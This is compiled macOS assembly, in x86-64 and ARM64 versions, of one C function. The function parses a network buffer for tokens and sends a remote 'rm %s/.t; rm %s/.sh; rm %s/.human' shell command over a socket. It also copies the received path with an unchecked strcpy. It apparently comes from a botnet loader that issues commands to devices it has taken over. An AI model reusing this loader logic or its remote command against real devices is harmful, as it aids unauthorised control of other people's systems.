	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_connection_consume_written_dirs ## -- Begin function connection_consume_written_dirs
	.p2align	4, 0x90
_connection_consume_written_dirs:       ## @connection_consume_written_dirs
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$24, %rsp
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	_FALSE@GOTPCREL(%rip), %rax
	movq	(%rax), %rax
	movq	%rax, -56(%rbp)                 ## 8-byte Spill
	movq	16(%rdi), %r15
	movq	%rdi, %r12
	movl	(%rdi), %r14d
	movq	_TOKEN_RESPONSE@GOTPCREL(%rip), %rax
	movq	(%rax), %rbx
	movq	%rbx, %rdi
	callq	_strlen
	movq	%r15, %rdi
	movl	%r14d, %esi
	movq	%rbx, %rdx
	movl	%eax, %ecx
	callq	_util_memsearch
	cmpl	$-1, %eax
	je	LBB0_1
## %bb.2:
	movl	%eax, %ebx
	movq	_TRUE@GOTPCREL(%rip), %rcx
	cmpq	$0, (%rcx)
	je	LBB0_15
## %bb.3:
	xorl	%r14d, %r14d
	movq	%r12, %r15
	movl	%ebx, -44(%rbp)                 ## 4-byte Spill
	.p2align	4, 0x90
LBB0_4:                                 ## =>This Inner Loop Header: Depth=1
	movslq	%r14d, %rcx
	movq	16(%r15), %r12
	addq	%rcx, %r12
	subl	%ecx, %ebx
	movq	_VERIFY_STRING_CHECK@GOTPCREL(%rip), %rax
	movq	(%rax), %r13
	movq	%r13, %rdi
	callq	_strlen
	movq	%r12, %rdi
	movl	%ebx, %esi
	movq	%r13, %rdx
	movl	%eax, %ecx
	callq	_util_memsearch
	cmpl	$-1, %eax
	je	LBB0_5
## %bb.6:                               ##   in Loop: Header=BB0_4 Depth=1
	addl	%eax, %r14d
	movslq	%r14d, %rdi
	addq	16(%r15), %rdi
	leaq	L_.str(%rip), %rsi
	callq	_strtok
	testq	%rax, %rax
	je	LBB0_13
## %bb.7:                               ##   in Loop: Header=BB0_4 Depth=1
	movq	%rax, %rbx
	movq	%rax, %rdi
	callq	_strlen
	movl	%eax, %r12d
	cltq
	cmpb	$13, -1(%rax,%rbx)
	jne	LBB0_9
## %bb.8:                               ##   in Loop: Header=BB0_4 Depth=1
	movb	$0, -1(%rbx,%rax)
LBB0_9:                                 ##   in Loop: Header=BB0_4 Depth=1
	movl	8(%r15), %edi
	leaq	L_.str.1(%rip), %rsi
	movq	%rbx, %rdx
	movq	%rbx, %rcx
	movq	%rbx, %r8
	callq	_util_sockprintf
	cmpq	$0, -56(%rbp)                   ## 8-byte Folded Reload
	jne	LBB0_13
## %bb.10:                              ##   in Loop: Header=BB0_4 Depth=1
	cmpl	$30, %r12d
	jg	LBB0_12
## %bb.11:                              ##   in Loop: Header=BB0_4 Depth=1
	movl	4(%r15), %edi
	movq	%rbx, %rsi
	callq	_strcpy
	movq	_TRUE@GOTPCREL(%rip), %rax
	movq	(%rax), %rcx
	movq	%rcx, %rax
	movq	%rcx, -56(%rbp)                 ## 8-byte Spill
	jmp	LBB0_14
LBB0_12:                                ##   in Loop: Header=BB0_4 Depth=1
	movq	%r15, %rdi
	callq	_connection_close
	xorl	%eax, %eax
	movq	%rax, -56(%rbp)                 ## 8-byte Spill
	.p2align	4, 0x90
LBB0_13:                                ##   in Loop: Header=BB0_4 Depth=1
	movq	_TRUE@GOTPCREL(%rip), %rax
	movq	(%rax), %rcx
LBB0_14:                                ##   in Loop: Header=BB0_4 Depth=1
	movl	-44(%rbp), %ebx                 ## 4-byte Reload
	testq	%rcx, %rcx
	jne	LBB0_4
	jmp	LBB0_15
LBB0_1:
	xorl	%ebx, %ebx
	jmp	LBB0_15
LBB0_5:
	movl	-44(%rbp), %ebx                 ## 4-byte Reload
LBB0_15:
	movl	%ebx, %eax
	addq	$24, %rsp
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
	.cfi_endproc
                                        ## -- End function
	.comm	_FALSE,8,3                      ## @FALSE
	.comm	_TOKEN_RESPONSE,8,3             ## @TOKEN_RESPONSE
	.comm	_TRUE,8,3                       ## @TRUE
	.comm	_VERIFY_STRING_CHECK,8,3        ## @VERIFY_STRING_CHECK
	.section	__TEXT,__cstring,cstring_literals
L_.str:                                 ## @.str
	.asciz	"\n"

L_.str.1:                               ## @.str.1
	.asciz	"rm %s/.t; rm %s/.sh; rm %s/.human\r\n"

.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_connection_consume_written_dirs ; -- Begin function connection_consume_written_dirs
	.p2align	2
_connection_consume_written_dirs:       ; @connection_consume_written_dirs
	.cfi_startproc
; %bb.0:
	stp	x28, x27, [sp, #-96]!           ; 16-byte Folded Spill
	.cfi_def_cfa_offset 96
	stp	x26, x25, [sp, #16]             ; 16-byte Folded Spill
	stp	x24, x23, [sp, #32]             ; 16-byte Folded Spill
	stp	x22, x21, [sp, #48]             ; 16-byte Folded Spill
	stp	x20, x19, [sp, #64]             ; 16-byte Folded Spill
	stp	x29, x30, [sp, #80]             ; 16-byte Folded Spill
	add	x29, sp, #80
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	mov	x19, x0
Lloh0:
	adrp	x8, _FALSE@GOTPAGE
Lloh1:
	ldr	x8, [x8, _FALSE@GOTPAGEOFF]
Lloh2:
	ldr	x26, [x8]
	ldr	x20, [x0, #16]
	ldr	w21, [x0]
Lloh3:
	adrp	x8, _TOKEN_RESPONSE@GOTPAGE
Lloh4:
	ldr	x8, [x8, _TOKEN_RESPONSE@GOTPAGEOFF]
Lloh5:
	ldr	x22, [x8]
	mov	x0, x22
	bl	_strlen
	mov	x3, x0
	mov	x0, x20
	mov	x1, x21
	mov	x2, x22
	bl	_util_memsearch
	cmn	w0, #1
	b.eq	LBB0_12
; %bb.1:
	mov	x20, x0
Lloh6:
	adrp	x27, _TRUE@GOTPAGE
Lloh7:
	ldr	x27, [x27, _TRUE@GOTPAGEOFF]
	ldr	x8, [x27]
	cbz	x8, LBB0_13
; %bb.2:
	mov	w28, #0
Lloh8:
	adrp	x22, _VERIFY_STRING_CHECK@GOTPAGE
Lloh9:
	ldr	x22, [x22, _VERIFY_STRING_CHECK@GOTPAGEOFF]
Lloh10:
	adrp	x21, l_.str@PAGE
Lloh11:
	add	x21, x21, l_.str@PAGEOFF
LBB0_3:                                 ; =>This Inner Loop Header: Depth=1
	ldr	x8, [x19, #16]
	add	x23, x8, w28, sxtw
	sub	w24, w20, w28
	ldr	x25, [x22]
	mov	x0, x25
	bl	_strlen
	mov	x3, x0
	mov	x0, x23
	mov	x1, x24
	mov	x2, x25
	bl	_util_memsearch
	cmn	w0, #1
	b.eq	LBB0_13
; %bb.4:                                ;   in Loop: Header=BB0_3 Depth=1
	add	w28, w0, w28
	ldr	x8, [x19, #16]
	add	x0, x8, w28, sxtw
	mov	x1, x21
	bl	_strtok
	cbz	x0, LBB0_11
; %bb.5:                                ;   in Loop: Header=BB0_3 Depth=1
	mov	x23, x0
	bl	_strlen
	mov	x24, x0
	sxtw	x8, w24
	sub	x8, x8, #1
	ldrb	w9, [x23, x8]
	cmp	w9, #13
	b.ne	LBB0_7
; %bb.6:                                ;   in Loop: Header=BB0_3 Depth=1
	strb	wzr, [x23, x8]
LBB0_7:                                 ;   in Loop: Header=BB0_3 Depth=1
	ldr	w0, [x19, #8]
Lloh12:
	adrp	x1, l_.str.1@PAGE
Lloh13:
	add	x1, x1, l_.str.1@PAGEOFF
	mov	x2, x23
	mov	x3, x23
	mov	x4, x23
	bl	_util_sockprintf
	cbnz	x26, LBB0_11
; %bb.8:                                ;   in Loop: Header=BB0_3 Depth=1
	cmp	w24, #30
	b.gt	LBB0_10
; %bb.9:                                ;   in Loop: Header=BB0_3 Depth=1
	ldr	w0, [x19, #4]
	mov	x1, x23
	bl	_strcpy
	ldr	x8, [x27]
	mov	x26, x8
	cbnz	x8, LBB0_3
	b	LBB0_13
LBB0_10:                                ;   in Loop: Header=BB0_3 Depth=1
	mov	x0, x19
	bl	_connection_close
	mov	x26, #0
LBB0_11:                                ;   in Loop: Header=BB0_3 Depth=1
	ldr	x8, [x27]
	cbnz	x8, LBB0_3
	b	LBB0_13
LBB0_12:
	mov	w20, #0
LBB0_13:
	mov	x0, x20
	ldp	x29, x30, [sp, #80]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #64]             ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #48]             ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #32]             ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #16]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp], #96             ; 16-byte Folded Reload
	ret
	.loh AdrpLdrGotLdr	Lloh3, Lloh4, Lloh5
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGot	Lloh6, Lloh7
	.loh AdrpAdd	Lloh10, Lloh11
	.loh AdrpLdrGot	Lloh8, Lloh9
	.loh AdrpAdd	Lloh12, Lloh13
	.cfi_endproc
                                        ; -- End function
	.comm	_FALSE,8,3                      ; @FALSE
	.comm	_TOKEN_RESPONSE,8,3             ; @TOKEN_RESPONSE
	.comm	_TRUE,8,3                       ; @TRUE
	.comm	_VERIFY_STRING_CHECK,8,3        ; @VERIFY_STRING_CHECK
	.section	__TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
	.asciz	"\n"

l_.str.1:                               ; @.str.1
	.asciz	"rm %s/.t; rm %s/.sh; rm %s/.human\r\n"

.subsections_via_symbols
